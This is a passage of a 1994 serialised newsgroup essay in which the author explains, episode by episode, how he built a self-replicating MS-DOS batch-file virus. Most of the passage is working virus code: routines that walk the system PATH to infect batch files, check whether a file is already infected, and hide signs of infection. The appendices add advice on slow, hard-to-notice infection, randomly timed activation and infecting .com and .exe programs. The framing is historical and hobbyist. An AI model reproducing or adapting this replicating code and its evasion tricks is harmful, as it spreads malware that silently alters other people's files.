begin. Therefore, I invented VPATH, the smaller brother of
PATH. VPATH had to be the piece of PATH that had still to be
processed by the virus. If the whole path had been processed,
the value of VPATH would be '.'; if there was no VPATH, the
virus had to assume that the computer had just been turned on
and set VPATH to the value of PATH.

Programming a procedure that set VPATH to all directories of
the old VPATH minus one, which got infected, proved to be easy
after the experience with the procedure findself (see Part IV):
I passed %VPATH% as parameter from the main program and it was
cut in easy to handle little pieces (%2,%3,%4,...) by DOS; at
the end a simple loop pasted all pieces, except the first, back
together into one variable: the new VPATH.

(changes to the procedure dispatcher block:)
if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath

(changes to the main program:)
if "VPATH%==" set VPATH=%PATH%>nul.ViRuS
call %0 /ViRuS_PARSEPATH %VPATH%
if "%VPATH%==" set VPATH=.>nul.ViRuS

(new procedure parsepath, taking the place of ViRuS_outer_loop:)
:ViRuS_parsepath
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
set VPATH=%3>nul.ViRuS
:ViRuS_loop
shift>nul.ViRuS
if "%3==" goto XXX_END>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop

---------------------------

VPATH, implemented this way, has some advantages over other
possible systems. Most important of all, if it gets corrupted
or reset by the user, the virus will not go bezerk or
anything: if VPATH is gone, it will create a new copy, else it
will try to work with the new VPATH without complaining. Also,
if the theoretical user that is ignorant of the virus will
look at his environment variables, he will be puzzled where
the new variable comes from, but there is no reason for him to
suspect that it has anything to do with a virus (except the V
in VPATH maybe).

---------------------------

As I was testing the new version, I found it took too long to
work its way through the whole path. I have a long system
path, as I think I already mentioned, in which are many
directories which don't contain any batch files. When such a
directory was next in VPATH, the virus was ready in a flash,
because all it had to do was cut a piece from the variable
VPATH. It would be better if the virus recognized empty
directories and passed them by.

If the virus processed a directory that contained no batch
files, the multiply procedure didn't get called. So if I added
a line 'set hit=T' to that procedure, there was a simple way
for the parsepath procedure to know when to go on to process
another directory, and when to stop. It would stop processing
directories when it had at least infected one file (%hit%=T),
or when VPATH was exhausted (in which case, it would still try
to infect the current directory). The new version of parsepath
should speak for itself -- or at least it should whisper:

:ViRuS_parsepath
for %%a in (%2\*.bat;%2*.bat) do call %ViRuSname% /ViRuS_MULTIPLY %%a
if "%hit%=="T goto ViRuS_new_vpath
shift>nul.ViRuS
if not "%2==" goto ViRuS_parsepath
if not "%1==". for %%a in (.\*.bat) do call %ViRuSname% /ViRuS_MULTIPLY %%a
:ViRuS_new_vpath
set hit=>nul.ViRuS
set VPATH=%3>nul.ViRuS
:ViRuS_loop
shift>nul.ViRuS
if "%3==" goto XXX_END>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop

Maybe one small comment: it is no longer %0 that is CALLed,
but %ViRuSname%. The reason for that is the new SHIFT command,
which affects %0 too. This caused a nasty bug for a while.

---------------------------

Exceptions and special cases always have a potential for
trouble. For the BatchViRuS, autoexec.bat was the culprit. I
just said that the first copy of the virus that was run after
booting should set VPATH to PATH. The trouble now was that if
the autoexec was infected, the copy of the virus attached to
autoexec.bat would set VPATH to PATH before the real autoexec
had had the chance to set the system path, a job usually done
by autoexec.bat. So the copy of the virus attached to autoexec
was quite useless for infecting others, and special measures
would have to be taken not to let the virus in autoexec.bat
set VPATH to an incorrect initial value. I decided to add some
'if %0==autoexec...' lines.

Now I wondered of course, how to spell these lines. In other
words, what was the %0 of autoexec.bat, as run by command.com
at boot time ? Was it 'autoexec' ? 'AUTOEXEC' ?
'autoexec.bat' ? 'AUTOEXEC.BAT' ? I found out by putting a
simple 'echo %0' in my regular autoexec.bat and rebooting. The
displayed line was: 'echo is on'. It took me a while (stupid,
no ?) to realize that this meant that %0 was void.

As autoexec was such a pain in the neck, I decided that a copy
of the virus that discovered that "%0==" should just let the
old autoexec execute and print a message indicating that the
virus was present. The actual code is not particularly
interesting: you can look at it in the complete listing.

To be continued...

Old episodes can now be downloaded by ftp: emoryi.jpl.nasa.gov:
/utils/batch/batvirus.zip. I thank Kevin Quitt for drawing my
attention to a flaw in my university's server's handling of
'finger' requests, and for uploading the files regularly.


PART 6
(9 Nov. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

               Part VI:
         On How to Recognize Yourself


Since the first four-line program I had often wished I could
find a way to let a batch file find out something about the
contents of another batch, specifically whether or not the
other batch was already infected with the virus. I wanted
some command, or combination of commands, to provide
information that an IF construction could test. First I
thought of a combination of 'find "ViRuS" <file1 >f1',
'find "ViRuS" <file2 >f2', 'comp f1 f2', and 'if errorlevel',
but I quickly found out that COMP doesn't set the errorlevel.
As a matter of fact, among the few DOS utilities that set an
errorlevel, none was relevant to the problem.

That excluded the 'if errorlevel' approach. Now what about the
'if exist' construction ? In that case, ATTRIB would have to
be used. I first considered to just mark batches as hidden
files when the virus infected them, but this would attract the
attention of even the most stupid user, so it couldn't exactly
be called an elegant solution. And on the other hand, too much
could go wrong if the user used the ATTRIB utility himself
regularly. So the hidden attribute would have to be set
temporarily each time a file was handed to the multiply
procedure. But then I was back where I had started.

Or was I ? I remembered now how a resident program tests
whether or not another copy of itself exists in memory: it
puts some test values in the registers, issues one of the
interrupts that it hooks when it is resident, and then tests
whether in the registers are values that only itself, or a
copy of itself, could have put there. In fact, it checked if
it was resident, by attempting to let the other copy of itself
run, and then look what happened.

Could I do something similar ? Could I let another batch hide
itself with ATTRIB if it had already been infected ? I most
surely could. I could CALL the other batch with a parameter
like /ViRuS_CHECK_YOURSELF, to which corresponded a procedure
in the virus code that set the hidden bit of its own carrier.
That was no problem; but the problem was that if an uninfected
batch got CALLed that way, it would not recognize the
/ViRuS_CHECK_YOURSELF parameter, probably ignore it, or else
misinterpret it, and the uninfected batch would run and
generally do all kinds of things. That was unwanted.

But this still was a step towards the solution. I gave up the
plan of CALLing the other batch in its entirety: I would use
the old technique of 'find "ViRuS"'. I could let FIND split
off the virus from the carrier in the other file, if the other
file was infected; if it would not be infected, an empty file
would be created. In both cases, I could safely CALL the new
batch file that FIND created, with for parameters
/ViRuS_CHECK and the name of the complete batch file, of which
the CALLed file had been part.

As a matter of fact, I could even go further. I could let
FIND seek only the line I wanted: 'attrib +h %1', and CALL
the file that FIND had created, with as only parameter the
name of the complete batch being processed. As 'attrib +h %1'
is not a specifically unusual command, I made it 'aTTriB +h
%1', to be sure that FIND found only the right line.

So, after the 'goto XXX_END' of the multiply procedure, and
before the :ViRuS_OLDBAT label, I added the line:
     aTTriB +h %1>nul.ViRuS
At this place in the code, it would never get executed during
normal execution of the virus, due to the GOTO command right
above it.
Then, at the beginning of the multiply procedure, I added:
     find "aTTriB +h %%1" <%2>xViRuSx.bat
     call xViRuSx %2
     del xViRuSx.bat
and, to check if the hidden-bit had been set:
     if not exist %2 goto ViRuS_ready
and, of course, at the end of the multiply procedure:
     :ViRuS_ready
     attrib -h %2>nul.ViRuS

With the FIND command, I had been lucky. I had to type two
percent signs in the search string instead of one, because
of the preprocessing phase for percent signs (see Part III),
and this proved to be my luck: if this hadn't been necessary,
the FIND command would find two lines in an infected file: not
only 'aTTriB +h %1>nul.ViRuS', but also 'find "aTTriB +h %1"
<%2>xViRuSx.bat' itself !

But alas, the line 'if not exist %2...' didn't work. It turned
out that IF EXIST ignored the hidden bit, and found all files.
Had all been for nothing ?

No. I knew that the FOR command did not find hidden files.
'for %a in (*.*) do...' finds only normal files. So, after
testing whether a GOTO in a FOR command would be executed
correctly (it will) I changed the line to:
     for %%a in (%2) goto ViRuS_ready

But this also found the hidden files ! Then I realized that %2
would always be expanded to an exact file name, without wild
cards. In that case, FOR doesn't assume that the string is a
file name, and it just feeds it into %a. So I changed the line
to
     for %%a in (%2*) goto ViRuS_ready
and, more or less to my surprise, it worked. The GOTO command
was not executed if %2 didn't exist. The '*' did not have any
side-effects, because all files processed by this line have an
extension of .BAT, which is a maximum-length extension.

Oops ! The GOTO should be executed if %2 did exist, not if it
didn't exist. I had forgotten about the 'not'. Of course, I
couldn't put 'not' in a FOR command, so I reprogrammed:
     for %%a in (%2*) goto ViRuS_not_ready
     goto ViRuS_ready
     :ViRuS_not_ready

Now that a virus could recognize itself, the multiply
procedure proper could be simplified, as it needed less FIND
commands, and so also real infections got faster:

:ViRuS_multiply
echo Checking: %2>con.ViRuS
find "aTTriB +h %%1" <%2>xViRuSx.bat
call xViRuSx %2
del xViRuSx.bat
for %%a in (%2*) do goto ViRuS_not_ready
goto ViRuS_ready
:ViRuS_not_ready
find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat         (!)
type %2>>xViRuSx.bat                              (!)
echo :XXX_END>>xViRuSx.bat                        (!)
copy xViRuSx.bat %2>nul
del xViRuSx.bat
echo Infecting: %2>con.ViRuS
:ViRuS_ready
attrib -h %2>nul.ViRuS
goto XXX_END>nul.ViRuS

rem data for the first find in ViRuS_multiply
aTTriB +h %1>nul.ViRuS

---------------------------

Checking the contents of the processed file also made obsolete,
in the main program, the lines:

attrib +h %ViRuSname%.bat
attrib -h %ViRuSname%.bat

---------------------------

But there is something left to tell about the multiply
procedure. I cannot believe it took me so long to realize
that using ATTRIB and IF EXIST was a terrible waste of
time and disk activity (ATTRIB is an external command): 'set'
and 'if ==' would do as well. I had been so preoccupied with
'hiding' the file that I didn't see that anything an IF
could test would do. I had reasoned:

0. I must know when to infect and when not to
-->  1. I must be able find out something about a file
     -->  2. I can find something out about file attributes
      -->  3. I must use ATTRIB and test the hidden-bit

and I had wandered on levels 2 and 3 ever after. After I had
discovered the FIND/CALL trick, I hadn't taken a step back to
see that on level 0, the original requirement was 'I (or
better: the virus) must know when to infect and when not to'.
And for that purpose, 'SeT IchBin=%0' and 'find "Set
IchBin=%%0" <%2>xViRuSx.bat' + 'call...' + 'if %IchBin%==...'
could be used.

The experiment with ATTRIB had at least learned me how not to
let the 'find' line be found by itself: use a command with
percent signs in it. So I used %0 as value for IchBin, which
would be 'xViRuSx' during execution of the CALLed xViRuSx.bat,
and would be represented as '%%0' in the 'find' line. Here is
the new, simplified and optimized version:

:ViRuS_multiply
echo Checking: %2>con.ViRuS
find "SeT IchBin=%%0" <%2>xViRuSx.bat
call xViRuSx
del xViRuSx.bat
if "%IchBin%=="xViRuSx goto ViRuS_ready
find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
type %2>>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
echo Infecting: %2>con.ViRuS
:ViRuS_ready
set IchBin=
goto XXX_END>nul.ViRuS

rem data for the first find in ViRuS_multiply
SeT IchBin=%0>nul.ViRuS

---------------------------

Note: many episodes of this essay had already been written when
I learned that COPY refuses to copy empty files. This quirk of
my favourite operating system permits a test whether a file is
empty (copy+if exist), and this again permits a test whether a
file contains lines that have the word "ViRuS" in them. (find
>file+copy+if exist), which makes possible a completely
different approach to target file checking in the procedure
ViRuS_multiply. If I had known this before I wrote and published
episode one, with the complete program in it, I would probably
have changed my virus and used this slightly simpler, slightly
shorter, but functionnally equivalent method. Now, for the sake
of consistency, I will stick to the original version, as given
in Part I, throughout all remaining episodes.

To be continued...   Old episodes can be downloaded by ftp from
             emoryi.jpl.nasa.gov:/utils/batch/batvirus.zip

PART 7
(16 Nov. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

               Part VII:
           About Call and Command /c


Last week I told you about the new methods for infecting files,
and how I was able to speed up the infection process by letting
the virus check first whether the target file had already been
infected before. As could reasonably be expected, this created
a new bug (for both methods: it is not the checking, but the
new way of infecting that is buggy). Sometimes I create batch
programs with 'copy con'; often one-liners, for instance:

C:\BATCH>copy con tetris.bat
@c:\windows\win c:\windows\games\tetris^Z

I don't begin these batches with '@echo off'; I just put @
before the line. In that case, it is important to type the ^Z
directly after the line, not on the next, if you do not want
to get an extra prompt on your screen after execution of the
batch file, which is ugly. I just hate it when a batch
terminates and DOS displays two prompts instead of only one.

Now if such a one-line batch got infected in the new way,
':XXX_END' got pasted to the end of the one line of the
original batch, not put on a line of its own. This hadn't
happened before because the 'find /v "ViRuS" <%2 |find /v
":XXX_END" >>xViRuSx.bat' had always reformatted the file a
bit, putting the ^Z on a line of its own. The new TYPE
command did not do that. The problem was easily fixed: I
inserted a line 'echo.>>xViRuSx.bat', which inserts a
carriage return and a line feed, before 'echo :XXX_END
>>xViRuSx.bat'. 'Echo.' by the way, with a point typed
directly at the 'echo', is the way to echo empty lines, as
'echo' alone asks for the status of echo: on or off.

The problem had been solved, but not in an elegant way. Normal
batch files now got an extra empty line, and if 'echo' was
off, this made DOS display an extra prompt; and there were
already extra prompts, because infected files didn't end on
:XXX_END^Z (which was impossible to accomplish with ECHO)
but on :XXX_END{cr/lf}^Z. Three prompts where there was only
one before would alert even an inattentive user that something
had happened, and although I didn't want to really use the
virus on innocent victims, I did want the virus to behave as
realistically as possible. The solution to this petty problem
proved to require a total reorganisation of the code.

---------------------------

As you can see, all the trouble concentrated around that last
line, the :XXX_END that got added to each file. Indeed, if I
could do without that line, I could just paste the original
batch to the end of the virus, and the original ^Z would stay
where it was, so the amount of prompts (normally one) would
not change. Now could I do without ?

I wondered if I could replace 'goto XXX_END' with EXIT
commands. It didn't work. Then I tried the pre-3.3 way to
'call' in batch files: 'command /c'. If I used an extra shell,
the EXIT would surely work. It worked. I didn't need the
:XXX_END any more. Then real trouble started.

---------------------------

The first problem was the sudden strange behaviour of
environment variables. The inevitable flash of insight brought
the answer: environment variables are passed only from parent
program to child, and not the other way. As soon as the extra
shell, created with 'command /c ...' was done, the variables
were done for. So what did I do now ? Work around it, of
course; as always !

Let's take a look at all procedures individually. The first
procedure involved is ViRuS_findself. It was now called as
follows:

if not exist %0.bat command /c %0 /ViRuS_FINDSELF %path%

and the procedure was (notice the 'exit'):

:ViRuS_findself
if "%2==" exit>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat exit
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat exit
shift>nul.ViRuS
goto ViRuS_findself

The procedure sets ViRuSname in vain: when 'exit' aborts the
current shell, the variable disappears. I changed the
procedure to:

:ViRuS_findself
if "%2==" echo.>xViRuSx.bat
if "%2==" exit>nul.ViRuS
if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
if exist %2\%ViRuSname%.bat exit
if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
if exist %2%ViRuSname%.bat exit
shift>nul.ViRuS
goto ViRuS_findself

and I let the main program call the new xViRuSx.bat
(using CALL, as was possible in this case; not COMMAND/c)
immediately after calling the procedure ViRuS_findself:

if not exist %0.bat command /c %0 /ViRuS_FINDSELF %path%
if not exist %0.bat call xViRuSx
if not exist %0.bat del xViRuSx.bat

This way, the variable is set in the 'outer shell'

---------------------------

In the ViRuS_parsepath procedure, the %hit% variable was
abolished, and the line
     if "%hit%=="T goto ViRuS_new_vpath
was replaced by
     for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath
which will make more sense to you if you compare it with the
line above it:
     for %%a in (%2\*.bat;%2*.bat) do command /c %ViRuSname%
                     /ViRuS_MULTIPLY %%a
'goto ViRuS_new_vpath' will only be executed if (and as many
times as) files exist that fit the specification.

And the GOTO command really works, however strange it may
seem. As a matter of fact, if you set echo off, you will see
that 'goto ViRuS_new_vpath' is echoed as many times as there
are files that fit the description; then the last GOTO is
really executed. Thus the FOR command is used as an extended
IF EXIST, an 'if at-least-one-such-file-exist' (but only for
non-hidden files, as we saw earlier).

Further, following the same principle as for ViRuS_findself,

:ViRuS_loop
shift>nul.ViRuS
if "%3==" goto XXX_END>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop

is changed to

:ViRuS_loop
shift>nul.ViRuS
if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
if "%3==" exit>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop

and

call %0 /ViRuS_PARSEPATH %VPATH%

becomes:

command /c %0 /ViRuS_PARSEPATH %VPATH%
call xViRuSx
del xViRuSx.bat

---------------------------

Only the multiply procedure is simplified instead of made more
complicated by this change: I already mentioned that 'set
hit=T' might go, but also 'set IchBin=' at the end is
superfluous now, because the 'exit' kills IchBin. This makes
the procedure:

:ViRuS_multiply
echo Checking: %2>con.ViRuS
find "SeT IchBin=%%0" <%2>xViRuSx.bat
call xViRuSx
del xViRuSx.bat
if "%IchBin%=="xViRuSx exit
find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
type %2>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
echo Infecting: %2>con.ViRuS
exit>nul.ViRuS

By the way, if you have been wondering what IchBin stands for:
'Ich bin' is German for 'I am'. I don't know why exactly I gave
this variable a German name instead of a Dutch or English one.
Maybe I had been watching too much German TV ? Or was there a
German song on the radio when I needed a name for the variable ?
Maybe something else still influenced me on an unconcious
level. There are things in life we will never fully comprehend...

---------------------------

That was one problem taken care of. There was another:
suddenly, I got many errors saying that the environment was
full. The secondary copies of command.com seemed to have an
environment that was just large enough for the variables they
initially got from their parent shell, and that for some
reason couldn't 'grow', what I understand is normally possible
for command.com's environment (I am a bit in the dark about
this subject). Anyway, setting an initial size by changing
'command /c' to 'command /e:10000 /c' made these error
messages disappear.

Just as a curiosity, I will mention a last difference I
discovered between CALL and COMMAND/c: unlike COMMAND/c,
CALL accepts input from a pipe. However, it executes only
the first non-empty line:
     echo Hello World | call
will work fine, but
     type autoexec.bat | call
will execute only the first non-empty line of autoexec.bat.

    [Correction June 1995: It seems that this method only works  ]
    [correctly if it is used in the last line of the batch file !]

'type con | call' also works. Strangely, 'call <file' works,
while 'call <CON' doesn't (as maybe could be expected, because
to DOS, 'call<con' is equivalent to 'call' without redirection).
Maybe someone someday somewhere will find a use for all this.
And maybe, just maybe, someone may find out why it was
programmed like that.

---------------------------

This was an episode with a lot of (dull?) code in it, but the
virus, as given in its entirety in Part I of this essay, is
finished now. Next week, there will be a last episode about
the limits of MS-DOS, and the limits of the virus, and about
some possible changes I could have made to the viruscode (but
I didn't).

To be continued...   Old episodes can be downloaded by ftp from
             emoryi.jpl.nasa.gov:/utils/batch/batvirus.zip

PART 8
(23 Nov. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. This is the last episode: if you missed some episodes,
the full story can be downloaded by ftp: emoryi.jpl.nasa.gov:
/utils/batch/batvirus.zip


    The Hidden Strengths of the Dos Batch Language

              Part VIII:
          Optimizing and Improving


In writing the virus, a few times I had ran into a very
annoying limitation of MS-DOS: the maximum line length of 127
characters. Command.com will not process longer lines. The
first time I encountered the problem was when a line that had
%path% in it was expanded during execution beyond the 127
character limit, and letters fell off at the end of the line,
creating a nasty bug. I had not been able to solve the problem,
I had only reformulated the command, so that %path% was at the
end of the line, and if letters fell off, no damage was done,
only functionality was reduced.

The same limitation is giving trouble still. Commands like
     for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c
     %ViRuSname% /ViRuS_MULTIPLY %%a
can expand to very long lines, not when the system path is too
long, but when seperate elements of the system path are too
long. This line just could expand to:
     for %a in (C:\JOHN\TOOLS\NORTON\*.bat;C:\JOHN\TOOLS\
     NORTON*.bat) do command /e:10000 /c C:\FRED\BATCHES\
     TETRIS.BAT /ViRuS_MULTIPLY %a
or even to something longer. It is possible to minimize this
danger, often by splitting long lines in two smaller lines with
the same functionality. E.g. the line in the above example
could be splitted into:
     for %%a in (%2\*.bat) do ...
     for %%a in (%2*.bat) do...

Another method to minimize the danger is shortening the
parameter strings /ViRuS_MULTIPLY, /ViRuS_PARSEPATH and
/ViRuS_FINDSELF to /ViRuSM, /ViRuSP and /ViRuSF; also, 'command
/e:9999' is almost as good as 'command /e:10000', so that's
another byte won. You could even let the virus make a copy of
command.com by the name of c.com, and use 'c /c' in the longer
commands. But I stopped here.

Indeed, it was time to stop. The code as it was now, was
elegant and simple, and I did not want to obfuscate it. It
worked, as it was, on my own computer, of which the system path
contained no excessively long elements. It had been enough.

---------------------------

But I feel I should mention a few changes I still could have
made, to make the picture complete.

When a batch file starts another batch without using CALL
or COMMAND/c, execution of the first batch is not
suspended but halted completely. It is as if the first batch
fades into the other: the second, 'chained' batch is not on
another level, like a 'called' batch. This way, and this is
important, if a batch that is itself 'called' by another one,
'chains' to a third one, then after execution of the third
one, control is given back to the first.

Quite a while after I had implemented the changes described
in Part VII, I realised that it had not been necessary to use
COMMAND/c in combination with EXIT, that I could also
have kept the CALL commands, and emulated the EXIT's by
chaining to an empty batch file. As an example, I will give
the three versions of the procedure findself and the
accompaning procedure call for comparison:

1. The standard version:

if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

2. The command/c version:

if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
if not exist %0.bat call xViRuSx
if not exist %0.bat del xViRuSx.bat

:ViRuS_findself
if "%2==" echo.>xViRuSx.bat
if "%2==" exit>nul.ViRuS
if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
if exist %2\%ViRuSname%.bat exit
if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
if exist %2%ViRuSname%.bat exit
shift>nul.ViRuS
goto ViRuS_findself

3. The call/chain version:

if not exist %0.bat echo.>yViRuSy.bat
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %0.bat del yViRuSy.bat

:ViRuS_findself
if "%2==" yViRuSy
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %2\%ViRuSname%.bat yViRuSy
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %2%ViRuSname%.bat yViRuSy
shift>nul.ViRuS
goto ViRuS_findself

---------------------------

But tests indicated that there was absolutely no reason to
switch to this technique: if I used it for all procedure calls,
only one second was won in infecting the 53 files of my \batch
directory; and on the other hand, when there was no extra
shell (created with command /e:10000), there would be danger
that the IchBin variable could not be created, the only
variable in the program that was essential and might not be
corrupted. For safety's sake, I would have to use a method of
checking files that did not need a variable (see Part VI).

There might be some places where the new technique could be
advantageous: it could be used to shorten the two very long
lines in the procedure parsepath. If it was only used inside
the parsepath procedure, and not for calling the parsepath
procedure itself, the multiply procedure would 'inherit' a
large environment from parsepath, so IchBin would be safe, and
the two lines would be in less danger of being too long. But as
I said before: I won't optimize for line length, as I prefer
clear and elegant code.

---------------------------

Another change that would be good for a real-world virus, would
be a test if command.com and find.exe are really to be found in
the system path; if not, the virus should abort immediately.

---------------------------

And now: the last bug. Because of course there is one left,
although we prefer to call it a feature. It is this: when a
batch is infected, in which the writer used the same technique
to make procedure calls as I did in my virus, the virus will
become active every time a procedure is called. This may
become very annoying. This bug hadn't been solved yet when I
started to write this essay, in fact it had not even been
detected. I can suggest a fix, but I didn't myself bother to
put it in the version that is now eating my hard disk space.

The principle is simple: before execution of the original
batch, an environment variable savevoff would be set to
%voff%, and voff to T. (Remember that voff was a variable
designed to make it possible to disable the virus) After
execution voff should be set back to %savevoff%. But then
there is this problem: how can the virus regain control
after execution of the original batch, to do this ? That
can be solved by, instead of jumping to ViRuS_OLDBAT with
GOTO, CALLing %0 /ViRuS_OLDBAT %0 %1 %2 %3 %4 %5 %6 %7 %8 %9
(with in the procedure dispather:
    if not "%1=="/ViRuS_OLDBAT goto NOT_ViRuS_OLDBAT
    shift>nul.ViRuS
    shift>nul.ViRuS
    goto ViRuS_OLDBAT
    :NOT_ViRuS_OLDBAT
where the repetition of %0 in the CALL command makes it
possible to 'shift out' /ViRuS_OLDBAT without loosing the
correct %0 value, for use by the original batch).

If you fear that the original batch might accept more than
nine parameters, (you are a careful programmer and) you can
paste them together (same method as used for VPATH in the
parsepath procedure) and call %0 /ViRuS_OLDBAT %0 %ALLPARMS%.

---------------------------

This again leaves the problem, however, of how the virus, that
has regained control, and reset voff, should end execution of
the batch. It cannot jump to XXX_END, because there is no more
XXX_END; it cannot use EXIT, because it is executed in the
outer shell; so the 'chaining' method has to be used. The
virus will have to create an empty file and chain to it, but
it will have no more chance to delete it, of course.

I tested whether a batch file can delete itself, but this was
only possible if the DEL command was on the last line of
the file, and if this line was immediately terminated by ^Z;
and such a file cannot be made using only ECHO commands.

(Using debug with an input script feels like cheating; if I
wrote this virus to use it, instead of for the sport, I would
be practical and use debug, as follows:

echo e100 "@del %%0.bat" 1A >zViRuSz.scr
echo rcx                   >>zViRuSz.scr
echo C                     >>zViRuSz.scr
echo nzViRuSz.bat          >>zViRuSz.scr
echo w                     >>zViRuSz.scr
echo q                     >>zViRuSz.scr
debug <zViRuSz.scr>nul
del zViRuSz.scr
zViRuSz

With debug, of course, everything is possible: e.g. the virus
could use debug to test if there is enough disk space left for
infections: let debug assemble a little program on the fly, that
sets ERRORLEVEL if there isn't enough space left. More and more
functions could be handled more efficiently by debug scripts,
and the batchvirus would become a kind of hybrid batch/debugvirus.
That is the reason why using debug is against the philosophy of
the project, although debug is a standard DOS tool. By the way,
a rough test of disk space can also be done by XCOPYing %0 and
the file that is going to be infected, and checking errorlevel
before deleting the copies again: that would be more in the
spirit of the BatchViRuS, and another possible improvement.)

(Let's open those parentheses again and warn you to be careful
with XCOPY. XCOPY wants input from the user, which of course you
can supply with '<readymadefile', but this input differs between
different language versions of DOS.)

If you don't use debug, the chained-to file should be left
empty, and the filename should be something like \TEMP0001.BAT,
and/or a hidden file, or something equally deceptive. There
seems to be no more elegant solution. It is maybe the 'ugliness'
of the solution, more than the improbability of occurence of
the problem and its relative harmlesness, that made me leave
this last bug fix out of the final code.

---------------------------

Still imperfect my virus might be, but I had proven my point.
The code as it was now was not totally optimized for real use,
but it was a perfect demonstration of the principles behind
it. It had taken me weeks to get the program right: weeks for
only some seventy lines of code, but I am as proud of them, as
the scientists who proved that you can make a silk purse out
of a sow's ear must have been of their artifact. Writing a
virus in DOS batch language: it sounded impossible once, but
in fact it has been possible since MS-DOS 3.3. In all those
years, nobody seems to have tried, or succeeded; at least I
never heard about a virus for batches.

In the Dutch monthly PC Magazine, there is always a section
about weird WordPerfect macros, in which the macro language is
used for things it was clearly not designed for. I always read
that section, although I only use the simplest functions of
WP, if I use WP at all. It is the artistry of some programmers
that makes this section worth reading, their imaginativeness
with limited means. Also, a while ago, there was an article in
my newspaper, about an exhibition of African toys, toys made
by children who cannot afford to buy the ready-made stuff. One
photograph showed a surprisingly realistic replica of a plane,
made mainly out of a few empty packets of cigarettes and many
hours of tinkering. These are two examples of real art.

Given the right circumstances, the appropriate limitedness of
means, everybody will become an artist. On the other hand, if
means are abundant, there is little incentive to become one.
Primitive programming environments must be cherished as a
source of creative programming ("Down with the Mac!"). I think
I did my share with the BatchViRuS, but many primitive
programming languages remain to be explored: who now will
write the virus for WordPerfect macros ?

Happy hacking,

Dirk van Deun, Brussels, November 1994.


------------------
APPENDICES/ADDENDA
------------------

1. First of all, there seem to be more batch viruses in the world than mine
alone. However, only I and Terry Newton seem to write 'true' batch viruses:
most other batch viruses use debug scripts or embedded machine code. (It is
possible to write printable .COM programs; you just need a lot of patience
and a liking for puzzles. I also have seen a printable hex2bin program, so
it isn't even necessary to make printable programs any more: you can include
the printable hex2bin.com, plus your own program in hexadecimal notation in
a batch, and ECHO them both into files; then run hex2bin on the other file.)
Some of these not-really-batch viruses are malicious.

2. I incorporated the signature string ViRuS in all lines of my virus in quite
ingenious ways, but Terry Newton showed me the one simple way: just put %ViRuS%
or any other non-existant environment variable with the signature in it
anywhere on a line: DOS will replace it by an empty string at run time.

3. There is a reasonably effective and quick infection method that is worth
mentioning: infect the 'last' batch file of directories.
    for %a in (%directory%\*.bat) do set file=%a
        --> infect %file%
This infects slowly, but can go almost unnoticed, because of its simplicity,
and because only one batch at a time is infected.

4. In DOS 6 it is easy to activate the virus on pseudo-random moments:
    echo. | time | find "00" > nul
    --> if errorlevel
In older DOS versions, FIND doesn't affect ERRORLEVEL. You will have to work
around this by redirecting the output of FIND to a file and checking whether
or not this file is empty (remember that COPY does not work on empty files,
so that you can use COPY FILE FILE2 plus IF EXIST FILE2...).

5. One virus I have seen 'infects' .com and .exe files by making a batch file
with the name of the executable, and renaming the executable. The batch then
calls the original program.

6. My remark about macro viruses (in the conclusion) isn't very up to date any
more. Macro languages for mainstream software have evolved quickly during the
